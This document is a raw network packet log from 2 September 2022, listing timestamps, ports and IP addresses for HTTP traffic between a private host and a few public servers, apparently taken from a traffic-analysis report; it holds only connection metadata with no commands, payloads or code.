Sep 2, 2022 14:02:22.190484047 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.190500021 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.190500975 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.190515995 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.190517902 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.190531015 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.190535069 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.190551996 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.190565109 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.190567970 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.190572977 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.190583944 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.190602064 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.190603018 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.190619946 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.190629005 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.190638065 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.190654039 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.190654039 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.190680981 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.190701962 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.190705061 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.190718889 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.190737009 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.190753937 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.190767050 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.190772057 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.190789938 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.190793037 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.190810919 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.190817118 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.190826893 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.190840960 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.190845013 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.190860987 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.190866947 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.190877914 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.190891981 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.190893888 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.190910101 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.190920115 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.190926075 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.190947056 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.190957069 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.190973997 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.190974951 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.190992117 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.190999031 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.191008091 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.191024065 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.191036940 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.191040039 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.191052914 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.191055059 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.191071033 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.191071987 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.191087961 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.191096067 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.191103935 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.191111088 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.191122055 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.191128969 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.191138983 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.191143990 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.191155910 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.191164017 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.191174030 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.191178083 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.191191912 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.191194057 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.191209078 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.191216946 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.191225052 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.191231012 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.191246033 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.191250086 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.191268921 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.191272020 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.191287041 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.191293001 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.191309929 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.191314936 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.191324949 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.191332102 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.191378117 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.191386938 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.191410065 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.191426992 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.191443920 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.191457033 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.191459894 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.191468954 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.191478014 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.191483974 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.191495895 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.191500902 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.191512108 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.191523075 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.191529989 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.191536903 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.191555977 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.191564083 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.191571951 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.191582918 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.191601038 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.191617966 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.191628933 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.191633940 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.191652060 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.191657066 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.191669941 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.191688061 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.191704035 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.191709995 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.191720009 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.191732883 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.191736937 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.191749096 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.191752911 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.191771984 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.191775084 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.191788912 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.191801071 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.191804886 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.191821098 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.191823959 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.191839933 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.191839933 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.191855907 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.191865921 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.191873074 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.191888094 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.191890955 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.191904068 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.191915035 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.191931963 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.191940069 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.191972017 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.191972971 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.191991091 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.192008972 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.192047119 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.192064047 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.192080021 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.192080975 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.192095995 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.192101955 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.192121983 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.192135096 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.192145109 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.192152023 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.192168951 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.192188025 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.192203999 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.192203999 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.192218065 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.192249060 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.192265987 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.192282915 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.192293882 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.192301989 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.192317009 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.192318916 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.192336082 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.192342043 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.192352057 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.192365885 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.192368984 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.192383051 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.192399025 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.192408085 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.192415953 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.192425013 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.192454100 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.192468882 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.192471027 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.192490101 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.192493916 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.192509890 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.192518950 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.192528963 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.192534924 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.192549944 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.192559958 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.192578077 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.192600012 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.192612886 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.192626953 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.192630053 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.192667007 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.192681074 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.192687035 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.192707062 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.192748070 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.192754984 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.192780972 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.192811012 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.192821026 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.192842007 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.192843914 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.192890882 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.192907095 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.192923069 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.192938089 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.192948103 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.192948103 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.192966938 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.192969084 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.193011045 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.193015099 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.193027973 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.193054914 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.193063974 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.193079948 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.193083048 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.193099022 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.193115950 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.193121910 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.193131924 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.193146944 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.193149090 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.193166018 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.193172932 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.193181992 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.193195105 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.193203926 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.193236113 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.193244934 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.193270922 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.193286896 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.193310022 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.193316936 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.193332911 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.193334103 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.193371058 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.193382978 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.193399906 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.193417072 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.193434000 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.193444014 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.193459034 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.193461895 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.193473101 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.193491936 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.193495035 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.193521976 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.193536043 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.193553925 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.193573952 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.193583012 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.193589926 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.193618059 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.193619013 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.193636894 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.193655968 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.193658113 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.193679094 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.193696022 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.193711996 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.193718910 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.193728924 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.193738937 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.193744898 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.193753958 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.193763018 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.193778038 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.193779945 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.193794966 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.193797112 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.193810940 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.193814993 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.193828106 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.193830967 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.193842888 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.193847895 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.193862915 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.193864107 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.193878889 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.193892002 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.193896055 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.193912029 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.193928957 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.193937063 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.193944931 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.193960905 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.193969965 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.193978071 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.193995953 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.194000959 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.194035053 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.194052935 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.194063902 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.194068909 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.194087029 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.194092989 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.194104910 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.194108009 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.194122076 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.194130898 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.194139004 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.194149017 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.194155931 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.194163084 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.194173098 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.194180012 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.194190979 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.194195986 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.194206953 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.194211006 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.194224119 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.194233894 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.194240093 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.194247961 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.194256067 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.194263935 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.194273949 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.194279909 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.194291115 CEST	80	49768	62.204.41.123	192.168.2.6
Sep 2, 2022 14:02:22.194295883 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.194314957 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.194330931 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.197396994 CEST	80	49790	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.198168039 CEST	80	49790	172.67.147.230	192.168.2.6
Sep 2, 2022 14:02:22.198225021 CEST	49790	80	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.199001074 CEST	49790	80	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.199912071 CEST	49792	80	192.168.2.6	172.67.147.230
Sep 2, 2022 14:02:22.206449032 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.206878901 CEST	49768	80	192.168.2.6	62.204.41.123
Sep 2, 2022 14:02:22.221342087 CEST	80	49791	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:22.221518993 CEST	49791	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:22.228471041 CEST	80	49789	87.240.132.78	192.168.2.6
Sep 2, 2022 14:02:22.228497982 CEST	49791	80	192.168.2.6	87.240.132.78
Sep 2, 2022 14:02:22.228507996 CEST	80	49789	87.240.132.78	192.168.2.6
